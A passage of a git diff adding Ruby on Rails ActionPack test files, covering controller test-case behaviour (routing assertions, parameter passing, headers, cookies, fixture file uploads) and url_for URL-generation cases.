+ end
+
+ def test_assert_routing_with_method
+ with_routing do |set|
+ set.draw { resources(:content) }
+ assert_routing({ :method => 'post', :path => 'content' }, { :controller => 'content', :action => 'create' })
+ end
+ end
+
+ def test_assert_routing_in_module
+ with_routing do |set|
+ set.draw do
+ namespace :admin do
+ get 'user' => 'user#index'
+ end
+ end
+
+ assert_routing 'admin/user', :controller => 'admin/user', :action => 'index'
+ end
+ end
+
+ def test_assert_routing_with_glob
+ with_routing do |set|
+ set.draw { get('*path' => "pages#show") }
+ assert_routing('/company/about', { :controller => 'pages', :action => 'show', :path => 'company/about' })
+ end
+ end
+
+ def test_params_passing
+ get :test_params, :page => {:name => "Page name", :month => '4', :year => '2004', :day => '6'}
+ parsed_params = eval(@response.body)
+ assert_equal(
+ {'controller' => 'test_case_test/test', 'action' => 'test_params',
+ 'page' => {'name' => "Page name", 'month' => '4', 'year' => '2004', 'day' => '6'}},
+ parsed_params
+ )
+ end
+
+ def test_params_passing_with_fixnums
+ get :test_params, :page => {:name => "Page name", :month => 4, :year => 2004, :day => 6}
+ parsed_params = eval(@response.body)
+ assert_equal(
+ {'controller' => 'test_case_test/test', 'action' => 'test_params',
+ 'page' => {'name' => "Page name", 'month' => '4', 'year' => '2004', 'day' => '6'}},
+ parsed_params
+ )
+ end
+
+ def test_params_passing_with_fixnums_when_not_html_request
+ get :test_params, :format => 'json', :count => 999
+ parsed_params = eval(@response.body)
+ assert_equal(
+ {'controller' => 'test_case_test/test', 'action' => 'test_params',
+ 'format' => 'json', 'count' => 999 },
+ parsed_params
+ )
+ end
+
+ def test_params_passing_path_parameter_is_string_when_not_html_request
+ get :test_params, :format => 'json', :id => 1
+ parsed_params = eval(@response.body)
+ assert_equal(
+ {'controller' => 'test_case_test/test', 'action' => 'test_params',
+ 'format' => 'json', 'id' => '1' },
+ parsed_params
+ )
+ end
+
+ def test_params_passing_with_frozen_values
+ assert_nothing_raised do
+ get :test_params, :frozen => 'icy'.freeze, :frozens => ['icy'.freeze].freeze, :deepfreeze => { :frozen => 'icy'.freeze }.freeze
+ end
+ parsed_params = eval(@response.body)
+ assert_equal(
+ {'controller' => 'test_case_test/test', 'action' => 'test_params',
+ 'frozen' => 'icy', 'frozens' => ['icy'], 'deepfreeze' => { 'frozen' => 'icy' }},
+ parsed_params
+ )
+ end
+
+ def test_params_passing_doesnt_modify_in_place
+ page = {:name => "Page name", :month => 4, :year => 2004, :day => 6}
+ get :test_params, :page => page
+ assert_equal 2004, page[:year]
+ end
+
+ test "set additional HTTP headers" do
+ @request.headers['Referer'] = "http://nohost.com/home"
+ @request.headers['Content-Type'] = "application/rss+xml"
+ get :test_headers
+ parsed_env = JSON.parse(@response.body)
+ assert_equal "http://nohost.com/home", parsed_env["HTTP_REFERER"]
+ assert_equal "application/rss+xml", parsed_env["CONTENT_TYPE"]
+ end
+
+ test "set additional env variables" do
+ @request.headers['HTTP_REFERER'] = "http://example.com/about"
+ @request.headers['CONTENT_TYPE'] = "application/json"
+ get :test_headers
+ parsed_env = JSON.parse(@response.body)
+ assert_equal "http://example.com/about", parsed_env["HTTP_REFERER"]
+ assert_equal "application/json", parsed_env["CONTENT_TYPE"]
+ end
+
+ def test_id_converted_to_string
+ get :test_params, :id => 20, :foo => Object.new
+ assert_kind_of String, @request.path_parameters['id']
+ end
+
+ def test_array_path_parameter_handled_properly
+ with_routing do |set|
+ set.draw do
+ get 'file/*path', :to => 'test_case_test/test#test_params'
+ get ':controller/:action'
+ end
+
+ get :test_params, :path => ['hello', 'world']
+ assert_equal ['hello', 'world'], @request.path_parameters['path']
+ assert_equal 'hello/world', @request.path_parameters['path'].to_param
+ end
+ end
+
+ def test_assert_realistic_path_parameters
+ get :test_params, :id => 20, :foo => Object.new
+
+ # All elements of path_parameters should use string keys
+ @request.path_parameters.keys.each do |key|
+ assert_kind_of String, key
+ end
+ end
+
+ def test_with_routing_places_routes_back
+ assert @routes
+ routes_id = @routes.object_id
+
+ begin
+ with_routing { raise 'fail' }
+ fail 'Should not be here.'
+ rescue RuntimeError
+ end
+
+ assert @routes
+ assert_equal routes_id, @routes.object_id
+ end
+
+ def test_remote_addr
+ get :test_remote_addr
+ assert_equal "0.0.0.0", @response.body
+
+ @request.remote_addr = "192.0.0.1"
+ get :test_remote_addr
+ assert_equal "192.0.0.1", @response.body
+ end
+
+ def test_header_properly_reset_after_remote_http_request
+ xhr :get, :test_params
+ assert_nil @request.env['HTTP_X_REQUESTED_WITH']
+ end
+
+ def test_header_properly_reset_after_get_request
+ get :test_params
+ @request.recycle!
+ assert_nil @request.instance_variable_get("@request_method")
+ end
+
+ def test_params_reset_after_post_request
+ post :no_op, :foo => "bar"
+ assert_equal "bar", @request.params[:foo]
+ @request.recycle!
+ post :no_op
+ assert @request.params[:foo].blank?
+ end
+
+ def test_symbolized_path_params_reset_after_request
+ get :test_params, :id => "foo"
+ assert_equal "foo", @request.symbolized_path_parameters[:id]
+ @request.recycle!
+ get :test_params
+ assert_nil @request.symbolized_path_parameters[:id]
+ end
+
+ def test_request_protocol_is_reset_after_request
+ get :test_protocol
+ assert_equal "http://", @response.body
+
+ @request.env["HTTPS"] = "on"
+ get :test_protocol
+ assert_equal "https://", @response.body
+
+ @request.env.delete("HTTPS")
+ get :test_protocol
+ assert_equal "http://", @response.body
+ end
+
+ def test_request_format
+ get :test_format, :format => 'html'
+ assert_equal 'text/html', @response.body
+
+ get :test_format, :format => 'json'
+ assert_equal 'application/json', @response.body
+
+ get :test_format, :format => 'xml'
+ assert_equal 'application/xml', @response.body
+
+ get :test_format
+ assert_equal 'text/html', @response.body
+ end
+
+ def test_should_have_knowledge_of_client_side_cookie_state_even_if_they_are_not_set
+ cookies['foo'] = 'bar'
+ get :no_op
+ assert_equal 'bar', cookies['foo']
+ end
+
+ def test_should_detect_if_cookie_is_deleted
+ cookies['foo'] = 'bar'
+ get :delete_cookie
+ assert_nil cookies['foo']
+ end
+
+ %w(controller response request).each do |variable|
+ %w(get post put delete head process).each do |method|
+ define_method("test_#{variable}_missing_for_#{method}_raises_error") do
+ remove_instance_variable "@#{variable}"
+ begin
+ send(method, :test_remote_addr)
+ assert false, "expected RuntimeError, got nothing"
+ rescue RuntimeError => error
+ assert_match(%r{@#{variable} is nil}, error.message)
+ rescue => error
+ assert false, "expected RuntimeError, got #{error.class}"
+ end
+ end
+ end
+ end
+
+ FILES_DIR = File.dirname(__FILE__) + '/../fixtures/multipart'
+
+ READ_BINARY = 'rb:binary'
+ READ_PLAIN = 'r:binary'
+
+ def test_test_uploaded_file
+ filename = 'mona_lisa.jpg'
+ path = "#{FILES_DIR}/#{filename}"
+ content_type = 'image/png'
+ expected = File.read(path)
+ expected.force_encoding(Encoding::BINARY)
+
+ file = Rack::Test::UploadedFile.new(path, content_type)
+ assert_equal filename, file.original_filename
+ assert_equal content_type, file.content_type
+ assert_equal file.path, file.local_path
+ assert_equal expected, file.read
+
+ new_content_type = "new content_type"
+ file.content_type = new_content_type
+ assert_equal new_content_type, file.content_type
+
+ end
+
+ def test_fixture_path_is_accessed_from_self_instead_of_active_support_test_case
+ TestCaseTest.stubs(:fixture_path).returns(FILES_DIR)
+
+ uploaded_file = fixture_file_upload('/mona_lisa.jpg', 'image/png')
+ assert_equal File.open("#{FILES_DIR}/mona_lisa.jpg", READ_PLAIN).read, uploaded_file.read
+ end
+
+ def test_test_uploaded_file_with_binary
+ filename = 'mona_lisa.jpg'
+ path = "#{FILES_DIR}/#{filename}"
+ content_type = 'image/png'
+
+ binary_uploaded_file = Rack::Test::UploadedFile.new(path, content_type, :binary)
+ assert_equal File.open(path, READ_BINARY).read, binary_uploaded_file.read
+
+ plain_uploaded_file = Rack::Test::UploadedFile.new(path, content_type)
+ assert_equal File.open(path, READ_PLAIN).read, plain_uploaded_file.read
+ end
+
+ def test_fixture_file_upload_with_binary
+ filename = 'mona_lisa.jpg'
+ path = "#{FILES_DIR}/#{filename}"
+ content_type = 'image/jpg'
+
+ binary_file_upload = fixture_file_upload(path, content_type, :binary)
+ assert_equal File.open(path, READ_BINARY).read, binary_file_upload.read
+
+ plain_file_upload = fixture_file_upload(path, content_type)
+ assert_equal File.open(path, READ_PLAIN).read, plain_file_upload.read
+ end
+
+ def test_fixture_file_upload
+ post :test_file_upload, :file => fixture_file_upload(FILES_DIR + "/mona_lisa.jpg", "image/jpg")
+ assert_equal '159528', @response.body
+ end
+
+ def test_fixture_file_upload_relative_to_fixture_path
+ TestCaseTest.stubs(:fixture_path).returns(FILES_DIR)
+ uploaded_file = fixture_file_upload("mona_lisa.jpg", "image/jpg")
+ assert_equal File.open("#{FILES_DIR}/mona_lisa.jpg", READ_PLAIN).read, uploaded_file.read
+ end
+
+ def test_fixture_file_upload_ignores_nil_fixture_path
+ TestCaseTest.stubs(:fixture_path).returns(nil)
+ uploaded_file = fixture_file_upload("#{FILES_DIR}/mona_lisa.jpg", "image/jpg")
+ assert_equal File.open("#{FILES_DIR}/mona_lisa.jpg", READ_PLAIN).read, uploaded_file.read
+ end
+
+ def test_action_dispatch_uploaded_file_upload
+ filename = 'mona_lisa.jpg'
+ path = "#{FILES_DIR}/#{filename}"
+ post :test_file_upload, :file => ActionDispatch::Http::UploadedFile.new(:filename => path, :type => "image/jpg", :tempfile => File.open(path))
+ assert_equal '159528', @response.body
+ end
+
+ def test_test_uploaded_file_exception_when_file_doesnt_exist
+ assert_raise(RuntimeError) { Rack::Test::UploadedFile.new('non_existent_file') }
+ end
+
+ def test_redirect_url_only_cares_about_location_header
+ get :create
+ assert_response :created
+
+ # Redirect url doesn't care that it wasn't a :redirect response.
+ assert_equal 'created resource', @response.redirect_url
+ assert_equal @response.redirect_url, redirect_to_url
+
+ # Must be a :redirect response.
+ assert_raise(ActiveSupport::TestCase::Assertion) do
+ assert_redirected_to 'created resource'
+ end
+ end
+end
+
+class InferringClassNameTest < ActionController::TestCase
+ def test_determine_controller_class
+ assert_equal ContentController, determine_class("ContentControllerTest")
+ end
+
+ def test_determine_controller_class_with_nonsense_name
+ assert_nil determine_class("HelloGoodBye")
+ end
+
+ def test_determine_controller_class_with_sensible_name_where_no_controller_exists
+ assert_nil determine_class("NoControllerWithThisNameTest")
+ end
+
+ private
+ def determine_class(name)
+ ActionController::TestCase.determine_default_controller_class(name)
+ end
+end
+
+class CrazyNameTest < ActionController::TestCase
+ tests ContentController
+
+ def test_controller_class_can_be_set_manually_not_just_inferred
+ assert_equal ContentController, self.class.controller_class
+ end
+end
+
+class CrazySymbolNameTest < ActionController::TestCase
+ tests :content
+
+ def test_set_controller_class_using_symbol
+ assert_equal ContentController, self.class.controller_class
+ end
+end
+
+class CrazyStringNameTest < ActionController::TestCase
+ tests 'content'
+
+ def test_set_controller_class_using_string
+ assert_equal ContentController, self.class.controller_class
+ end
+end
+
+class NamedRoutesControllerTest < ActionController::TestCase
+ tests ContentController
+
+ def test_should_be_able_to_use_named_routes_before_a_request_is_done
+ with_routing do |set|
+ set.draw { resources :contents }
+ assert_equal 'http://test.host/contents/new', new_content_url
+ assert_equal 'http://test.host/contents/1', content_url(:id => 1)
+ end
+ end
+end
+
+class AnonymousControllerTest < ActionController::TestCase
+ def setup
+ @controller = Class.new(ActionController::Base) do
+ def index
+ render :text => params[:controller]
+ end
+ end.new
+
+ @routes = ActionDispatch::Routing::RouteSet.new.tap do |r|
+ r.draw do
+ get ':controller(/:action(/:id))'
+ end
+ end
+ end
+
+ def test_controller_name
+ get :index
+ assert_equal 'anonymous', @response.body
+ end
+end
+
+class RoutingDefaultsTest < ActionController::TestCase
+ def setup
+ @controller = Class.new(ActionController::Base) do
+ def post
+ render :text => request.fullpath
+ end
+
+ def project
+ render :text => request.fullpath
+ end
+ end.new
+
+ @routes = ActionDispatch::Routing::RouteSet.new.tap do |r|
+ r.draw do
+ get '/posts/:id', :to => 'anonymous#post', :bucket_type => 'post'
+ get '/projects/:id', :to => 'anonymous#project', :defaults => { :bucket_type => 'project' }
+ end
+ end
+ end
+
+ def test_route_option_can_be_passed_via_process
+ get :post, :id => 1, :bucket_type => 'post'
+ assert_equal '/posts/1', @response.body
+ end
+
+ def test_route_default_is_not_required_for_building_request_uri
+ get :project, :id => 2
+ assert_equal '/projects/2', @response.body
+ end
+end
diff --git a/actionpack/test/controller/url_for_integration_test.rb b/actionpack/test/controller/url_for_integration_test.rb
new file mode 100644
index 0000000..6c2311e
--- /dev/null
+++ b/actionpack/test/controller/url_for_integration_test.rb
@@ -0,0 +1,177 @@
+# encoding: utf-8
+require 'abstract_unit'
+require 'controller/fake_controllers'
+require 'active_support/core_ext/object/with_options'
+
+module ActionPack
+ class URLForIntegrationTest < ActiveSupport::TestCase
+ include RoutingTestHelpers
+
+ Model = Struct.new(:to_param)
+
+ Mapping = lambda {
+ namespace :admin do
+ resources :users, :posts
+ end
+
+ namespace 'api' do
+ root :to => 'users#index'
+ end
+
+ get '/blog(/:year(/:month(/:day)))' => 'posts#show_date',
+ :constraints => {
+ :year => /(19|20)\d\d/,
+ :month => /[01]?\d/,
+ :day => /[0-3]?\d/
+ },
+ :day => nil,
+ :month => nil
+
+ get 'archive/:year', :controller => 'archive', :action => 'index',
+ :defaults => { :year => nil },
+ :constraints => { :year => /\d{4}/ },
+ :as => "blog"
+
+ resources :people
+ #match 'legacy/people' => "people#index", :legacy => "true"
+
+ get 'symbols', :controller => :symbols, :action => :show, :name => :as_symbol
+ get 'id_default(/:id)' => "foo#id_default", :id => 1
+ match 'get_or_post' => "foo#get_or_post", :via => [:get, :post]
+ get 'optional/:optional' => "posts#index"
+ get 'projects/:project_id' => "project#index", :as => "project"
+ get 'clients' => "projects#index"
+
+ get 'ignorecase/geocode/:postalcode' => 'geocode#show', :postalcode => /hx\d\d-\d[a-z]{2}/i
+ get 'extended/geocode/:postalcode' => 'geocode#show',:constraints => {
+ :postalcode => /# Postcode format
+ \d{5} #Prefix
+ (-\d{4})? #Suffix
+ /x
+ }, :as => "geocode"
+
+ get 'news(.:format)' => "news#index"
+
+ get 'comment/:id(/:action)' => "comments#show"
+ get 'ws/:controller(/:action(/:id))', :ws => true
+ get 'account(/:action)' => "account#subscription"
+ get 'pages/:page_id/:controller(/:action(/:id))'
+ get ':controller/ping', :action => 'ping'
+ get ':controller(/:action(/:id))(.:format)'
+ root :to => "news#index"
+ }
+
+ def setup
+ @routes = ActionDispatch::Routing::RouteSet.new
+ @routes.draw(&Mapping)
+ end
+
+ [
+ ['/admin/users',[ { :use_route => 'admin_users' }]],
+ ['/admin/users',[ { :controller => 'admin/users' }]],
+ ['/admin/users',[ { :controller => 'admin/users', :action => 'index' }]],
+ ['/admin/users',[ { :action => 'index' }, { :controller => 'admin/users' }]],
+ ['/admin/users',[ { :controller => 'users', :action => 'index' }, { :controller => 'admin/accounts' }]],
+ ['/people',[ { :controller => '/people', :action => 'index' }, { :controller => 'admin/accounts' }]],
+
+ ['/admin/posts',[ { :controller => 'admin/posts' }]],
+ ['/admin/posts/new',[ { :controller => 'admin/posts', :action => 'new' }]],
+
+ ['/blog/2009',[ { :controller => 'posts', :action => 'show_date', :year => 2009 }]],
+ ['/blog/2009/1',[ { :controller => 'posts', :action => 'show_date', :year => 2009, :month => 1 }]],
+ ['/blog/2009/1/1',[ { :controller => 'posts', :action => 'show_date', :year => 2009, :month => 1, :day => 1 }]],
+
+ ['/archive/2010',[ { :controller => 'archive', :action => 'index', :year => '2010' }]],
+ ['/archive',[ { :controller => 'archive', :action => 'index' }]],
+ ['/archive?year=january',[ { :controller => 'archive', :action => 'index', :year => 'january' }]],
+
+ ['/people',[ { :controller => 'people', :action => 'index' }]],
+ ['/people',[ { :action => 'index' }, { :controller => 'people' }]],
+ ['/people',[ { :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }]],
+ ['/people',[ { :controller => 'people', :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }]],
+ ['/people',[ {}, { :controller => 'people', :action => 'index' }]],
+ ['/people/1',[ { :controller => 'people', :action => 'show' }, { :controller => 'people', :action => 'show', :id => '1' }]],
+ ['/people/new',[ { :use_route => 'new_person' }]],
+ ['/people/new',[ { :controller => 'people', :action => 'new' }]],
+ ['/people/1',[ { :use_route => 'person', :id => '1' }]],
+ ['/people/1',[ { :controller => 'people', :action => 'show', :id => '1' }]],
+ ['/people/1.xml',[ { :controller => 'people', :action => 'show', :id => '1', :format => 'xml' }]],
+ ['/people/1',[ { :controller => 'people', :action => 'show', :id => 1 }]],
+ ['/people/1',[ { :controller => 'people', :action => 'show', :id => Model.new('1') }]],
+ ['/people/1',[ { :action => 'show', :id => '1' }, { :controller => 'people', :action => 'index' }]],
+ ['/people/1',[ { :action => 'show', :id => 1 }, { :controller => 'people', :action => 'show', :id => '1' }]],
+ ['/people',[ { :controller => 'people', :action => 'index' }, { :controller => 'people', :action => 'show', :id => '1' }]],
+ ['/people/1',[ {}, { :controller => 'people', :action => 'show', :id => '1' }]],
+ ['/people/1',[ { :controller => 'people', :action => 'show' }, { :controller => 'people', :action => 'index', :id => '1' }]],
+ ['/people/1/edit',[ { :controller => 'people', :action => 'edit', :id => '1' }]],
+ ['/people/1/edit.xml',[ { :controller => 'people', :action => 'edit', :id => '1', :format => 'xml' }]],
+ ['/people/1/edit',[ { :use_route => 'edit_person', :id => '1' }]],
+ ['/people/1?legacy=true',[ { :controller => 'people', :action => 'show', :id => '1', :legacy => 'true' }]],
+ ['/people?legacy=true',[ { :controller => 'people', :action => 'index', :legacy => 'true' }]],
+
+ ['/id_default/2',[ { :controller => 'foo', :action => 'id_default', :id => '2' }]],
+ ['/id_default',[ { :controller => 'foo', :action => 'id_default', :id => '1' }]],
+ ['/id_default',[ { :controller => 'foo', :action => 'id_default', :id => 1 }]],
+ ['/id_default',[ { :controller => 'foo', :action => 'id_default' }]],
+ ['/optional/bar',[ { :controller => 'posts', :action => 'index', :optional => 'bar' }]],
+ ['/posts',[ { :controller => 'posts', :action => 'index' }]],
+
+ ['/project',[ { :controller => 'project', :action => 'index' }]],
+ ['/projects/1',[ { :controller => 'project', :action => 'index', :project_id => '1' }]],
+ ['/projects/1',[ { :controller => 'project', :action => 'index'}, {:project_id => '1' }]],
+ ['/projects/1',[ { :use_route => 'project', :controller => 'project', :action => 'index', :project_id => '1' }]],
+ ['/projects/1',[ { :use_route => 'project', :controller => 'project', :action => 'index' }, { :project_id => '1' }]],
+
+ ['/clients',[ { :controller => 'projects', :action => 'index' }]],
+ ['/clients?project_id=1',[ { :controller => 'projects', :action => 'index', :project_id => '1' }]],
+ ['/clients',[ { :controller => 'projects', :action => 'index' }, { :project_id => '1' }]],
+ ['/clients',[ { :action => 'index' }, { :controller => 'projects', :action => 'index', :project_id => '1' }]],
+
+ ['/comment/20',[ { :id => 20 }, { :controller => 'comments', :action => 'show' }]],
+ ['/comment/20',[ { :controller => 'comments', :id => 20, :action => 'show' }]],
+ ['/comments/boo',[ { :controller => 'comments', :action => 'boo' }]],
+
+ ['/ws/posts/show/1',[ { :controller => 'posts', :action => 'show', :id => '1', :ws => true }]],
+ ['/ws/posts',[ { :controller => 'posts', :action => 'index', :ws => true }]],
+
+ ['/account',[ { :controller => 'account', :action => 'subscription' }]],
+ ['/account/billing',[ { :controller => 'account', :action => 'billing' }]],
+
+ ['/pages/1/notes/show/1',[ { :page_id => '1', :controller => 'notes', :action => 'show', :id => '1' }]],
+ ['/pages/1/notes/list',[ { :page_id => '1', :controller => 'notes', :action => 'list' }]],
+ ['/pages/1/notes',[ { :page_id => '1', :controller => 'notes', :action => 'index' }]],
+ ['/pages/1/notes',[ { :page_id => '1', :controller => 'notes' }]],
+ ['/notes',[ { :page_id => nil, :controller => 'notes' }]],
+ ['/notes',[ { :controller => 'notes' }]],
+ ['/notes/print',[ { :controller => 'notes', :action => 'print' }]],
+ ['/notes/print',[ {}, { :controller => 'notes', :action => 'print' }]],
+
+ ['/notes/index/1',[ { :controller => 'notes' }, { :controller => 'notes', :id => '1' }]],
+ ['/notes/index/1',[ { :controller => 'notes' }, { :controller => 'notes', :id => '1', :foo => 'bar' }]],
+ ['/notes/index/1',[ { :controller => 'notes' }, { :controller => 'notes', :id => '1' }]],
+ ['/notes/index/1',[ { :action => 'index' }, { :controller => 'notes', :id => '1' }]],
+ ['/notes/index/1',[ {}, { :controller => 'notes', :id => '1' }]],
+ ['/notes/show/1',[ {}, { :controller => 'notes', :action => 'show', :id => '1' }]],
+ ['/notes/index/1',[ { :controller => 'notes', :id => '1' }, { :foo => 'bar' }]],
+ ['/posts',[ { :controller => 'posts' }, { :controller => 'notes', :action => 'show', :id => '1' }]],
+ ['/notes/list',[ { :action => 'list' }, { :controller => 'notes', :action => 'show', :id => '1' }]],
+
+ ['/posts/ping',[ { :controller => 'posts', :action => 'ping' }]],
+ ['/posts/show/1',[ { :controller => 'posts', :action => 'show', :id => '1' }]],
+ ['/posts',[ { :controller => 'posts' }]],
+ ['/posts',[ { :controller => 'posts', :action => 'index' }]],
+ ['/posts',[ { :controller => 'posts' }, { :controller => 'posts', :action => 'index' }]],
+ ['/posts/create',[ { :action => 'create' }, { :controller => 'posts' }]],
+ ['/posts?foo=bar',[ { :controller => 'posts', :foo => 'bar' }]],
+ ['/posts?foo%5B%5D=bar&foo%5B%5D=baz', [{ :controller => 'posts', :foo => ['bar', 'baz'] }]],
+ ['/posts?page=2', [{ :controller => 'posts', :page => 2 }]],
+ ['/posts?q%5Bfoo%5D%5Ba%5D=b', [{ :controller => 'posts', :q => { :foo => { :a => 'b'}} }]],
+
+ ['/news.rss', [{ :controller => 'news', :action => 'index', :format => 'rss' }]],
+ ].each_with_index do |(url, params), i|
+ define_method("test_#{url.gsub(/\W/, '_')}_#{i}") do
+ assert_equal url, url_for(@routes, *params), params.inspect
+ end
+ end
+ end
+end
diff --git a/actionpack/test/controller/url_for_test.rb b/actionpack/test/controller/url_for_test.rb
new file mode 100644
index 0000000..088ad73
--- /dev/null
+++ b/actionpack/test/controller/url_for_test.rb
@@ -0,0 +1,379 @@
+require 'abstract_unit'
+
+module AbstractController
+ module Testing
+ class UrlForTest < ActionController::TestCase
+ class W
+ include ActionDispatch::Routing::RouteSet.new.tap { |r| r.draw { get ':controller(/:action(/:id(.:format)))' } }.url_helpers
+ end
+
+ def teardown
+ W.default_url_options.clear
+ end
+
+ def add_host!
+ W.default_url_options[:host] = 'www.basecamphq.com'
+ end
+
+ def add_port!
+ W.default_url_options[:port] = 3000
+ end
+
+ def add_numeric_host!
+ W.default_url_options[:host] = '127.0.0.1'
+ end
+
+ def test_exception_is_thrown_without_host
+ assert_raise ArgumentError do
+ W.new.url_for :controller => 'c', :action => 'a', :id => 'i'
+ end
+ end
+
+ def test_anchor
+ assert_equal('/c/a#anchor',
+ W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :anchor => 'anchor')
+ )
+ end
+
+ def test_anchor_should_call_to_param
+ assert_equal('/c/a#anchor',
+ W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :anchor => Struct.new(:to_param).new('anchor'))
+ )
+ end
+
+ def test_anchor_should_escape_unsafe_pchar
+ assert_equal('/c/a#%23anchor',
+ W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :anchor => Struct.new(:to_param).new('#anchor'))
+ )
+ end
+
+ def test_anchor_should_not_escape_safe_pchar
+ assert_equal('/c/a#name=user&email=user at domain.com',
+ W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :anchor => Struct.new(:to_param).new('name=user&email=user at domain.com'))
+ )
+ end
+
+ def test_default_host
+ add_host!
+ assert_equal('http://www.basecamphq.com/c/a/i',
+ W.new.url_for(:controller => 'c', :action => 'a', :id => 'i')
+ )
+ end
+
+ def test_host_may_be_overridden
+ add_host!
+ assert_equal('http://37signals.basecamphq.com/c/a/i',
+ W.new.url_for(:host => '37signals.basecamphq.com', :controller => 'c', :action => 'a', :id => 'i')
+ )
+ end
+
+ def test_subdomain_may_be_changed
+ add_host!
+ assert_equal('http://api.basecamphq.com/c/a/i',
+ W.new.url_for(:subdomain => 'api', :controller => 'c', :action => 'a', :id => 'i')
+ )
+ end
+
+ def test_subdomain_may_be_object
+ model = mock(:to_param => 'api')
+ add_host!
+ assert_equal('http://api.basecamphq.com/c/a/i',
+ W.new.url_for(:subdomain => model, :controller => 'c', :action => 'a', :id => 'i')
+ )
+ end
+
+ def test_subdomain_may_be_removed
+ add_host!
+ assert_equal('http://basecamphq.com/c/a/i',
+ W.new.url_for(:subdomain => false, :controller => 'c', :action => 'a', :id => 'i')
+ )
+ end
+
+ def test_subdomain_may_be_removed_with_blank_string
+ W.default_url_options[:host] = 'api.basecamphq.com'
+ assert_equal('http://basecamphq.com/c/a/i',
+ W.new.url_for(:subdomain => '', :controller => 'c', :action => 'a', :id => 'i')
+ )
+ end
+
+ def test_multiple_subdomains_may_be_removed
+ W.default_url_options[:host] = 'mobile.www.api.basecamphq.com'
+ assert_equal('http://basecamphq.com/c/a/i',
+ W.new.url_for(:subdomain => false, :controller => 'c', :action => 'a', :id => 'i')
+ )
+ end
+
+ def test_subdomain_may_be_accepted_with_numeric_host
+ add_numeric_host!
+ assert_equal('http://127.0.0.1/c/a/i',
+ W.new.url_for(:subdomain => 'api', :controller => 'c', :action => 'a', :id => 'i')
+ )
+ end
+
+ def test_domain_may_be_changed
+ add_host!
+ assert_equal('http://www.37signals.com/c/a/i',
+ W.new.url_for(:domain => '37signals.com', :controller => 'c', :action => 'a', :id => 'i')
+ )
+ end
+
+ def test_tld_length_may_be_changed
+ add_host!
+ assert_equal('http://mobile.www.basecamphq.com/c/a/i',
+ W.new.url_for(:subdomain => 'mobile', :tld_length => 2, :controller => 'c', :action => 'a', :id => 'i')
+ )
+ end
+
+ def test_port
+ add_host!
+ assert_equal('http://www.basecamphq.com:3000/c/a/i',
+ W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :port => 3000)
+ )
+ end
+
+ def test_default_port
+ add_host!
+ add_port!
+ assert_equal('http://www.basecamphq.com:3000/c/a/i',
+ W.new.url_for(:controller => 'c', :action => 'a', :id => 'i')
+ )
+ end
+
+ def test_protocol
+ add_host!
+ assert_equal('https://www.basecamphq.com/c/a/i',
+ W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :protocol => 'https')
+ )
+ end
+
+ def test_protocol_with_and_without_separators
+ add_host!
+ assert_equal('https://www.basecamphq.com/c/a/i',
+ W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :protocol => 'https')
+ )
+ assert_equal('https://www.basecamphq.com/c/a/i',
+ W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :protocol => 'https:')
+ )
+ assert_equal('https://www.basecamphq.com/c/a/i',
+ W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :protocol => 'https://')
+ )
+ end
+
+ def test_without_protocol
+ add_host!
+ assert_equal('//www.basecamphq.com/c/a/i',
+ W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :protocol => '//')
+ )
+ assert_equal('//www.basecamphq.com/c/a/i',
+ W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :protocol => false)
+ )
+ end
+
+ def test_trailing_slash
+ add_host!
+ options = {:controller => 'foo', :trailing_slash => true, :action => 'bar', :id => '33'}
+ assert_equal('http://www.basecamphq.com/foo/bar/33/', W.new.url_for(options) )
+ end
+
+ def test_trailing_slash_with_protocol
+ add_host!
+ options = { :trailing_slash => true,:protocol => 'https', :controller => 'foo', :action => 'bar', :id => '33'}
+ assert_equal('https://www.basecamphq.com/foo/bar/33/', W.new.url_for(options) )
+ assert_equal 'https://www.basecamphq.com/foo/bar/33/?query=string', W.new.url_for(options.merge({:query => 'string'}))
+ end
+
+ def test_trailing_slash_with_only_path
+ options = {:controller => 'foo', :trailing_slash => true}
+ assert_equal '/foo/', W.new.url_for(options.merge({:only_path => true}))
+ options.update({:action => 'bar', :id => '33'})
+ assert_equal '/foo/bar/33/', W.new.url_for(options.merge({:only_path => true}))
+ assert_equal '/foo/bar/33/?query=string', W.new.url_for(options.merge({:query => 'string',:only_path => true}))
+ end
+
+ def test_trailing_slash_with_anchor
+ options = {:trailing_slash => true, :controller => 'foo', :action => 'bar', :id => '33', :only_path => true, :anchor=> 'chapter7'}
+ assert_equal '/foo/bar/33/#chapter7', W.new.url_for(options)
+ assert_equal '/foo/bar/33/?query=string#chapter7', W.new.url_for(options.merge({:query => 'string'}))
+ end
+
+ def test_trailing_slash_with_params
+ url = W.new.url_for(:trailing_slash => true, :only_path => true, :controller => 'cont', :action => 'act', :p1 => 'cafe', :p2 => 'link')
+ params = extract_params(url)
+ assert_equal params[0], { :p1 => 'cafe' }.to_query
+ assert_equal params[1], { :p2 => 'link' }.to_query
+ end
+
+ def test_relative_url_root_is_respected
+ # ROUTES TODO: Tests should not have to pass :relative_url_root directly. This
+ # should probably come from routes.
+
+ add_host!
+ assert_equal('https://www.basecamphq.com/subdir/c/a/i',
+ W.new.url_for(:controller => 'c', :action => 'a', :id => 'i', :protocol => 'https', :script_name => '/subdir')
+ )
+ end
+
+ def test_named_routes
+ with_routing do |set|
+ set.draw do
+ get 'this/is/verbose', :to => 'home#index', :as => :no_args
+ get 'home/sweet/home/:user', :to => 'home#index', :as => :home
+ end
+
+ # We need to create a new class in order to install the new named route.
+ kls = Class.new { include set.url_helpers }
+
+ controller = kls.new
+ assert controller.respond_to?(:home_url)
+ assert_equal 'http://www.basecamphq.com/home/sweet/home/again',
+ controller.send(:home_url, :host => 'www.basecamphq.com', :user => 'again')
+
+ assert_equal("/home/sweet/home/alabama", controller.send(:home_path, :user => 'alabama', :host => 'unused'))
+ assert_equal("http://www.basecamphq.com/home/sweet/home/alabama", controller.send(:home_url, :user => 'alabama', :host => 'www.basecamphq.com'))
